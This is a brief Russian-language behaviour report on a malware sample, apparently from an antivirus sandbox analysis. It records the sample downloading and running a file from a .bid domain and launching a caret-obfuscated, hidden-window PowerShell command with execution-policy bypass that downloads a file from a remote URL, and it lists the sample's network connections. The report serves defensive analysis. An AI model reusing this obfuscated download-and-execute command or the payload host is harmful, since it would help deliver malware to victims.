Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://asecwitlecn.bid/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^o^wer^s^hE^l^L^.eXE ^-^E^x^EC^U^TIoNPo^Li^C^Y ^B^Ypas^s -noP^RO^fIlE ^-wiN^d^oWSt^Yle h^IdDEn^ ^(n^Ew^-obJE^ct S^ysTe^m.n^E^T.w^Eb^cl^Ie^N^T)^.doWNl^o^A^DfI^l^E('http://a...
Сетевая активность
Подключается к
- 'as###itlecn.bid':80
TCP
Запросы HTTP GET
- http://as###itlecn.bid/read.php?f=#####
UDP
- DNS ASK as###itlecn.bid
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^o^wer^s^hE^l^L^.eXE ^-^E^x^EC^U^TIoNPo^Li^C^Y ^B^Ypas^s -noP^RO^fIlE ^-wiN^d^oWSt^Yle h^IdDEn^ ^(n^Ew^-obJE^ct S^ysTe^m.n^E^T.w^Eb^cl^Ie^N^T)^.doWNl^o^A^DfI^l^E('http://a...' (со скрытым окном)
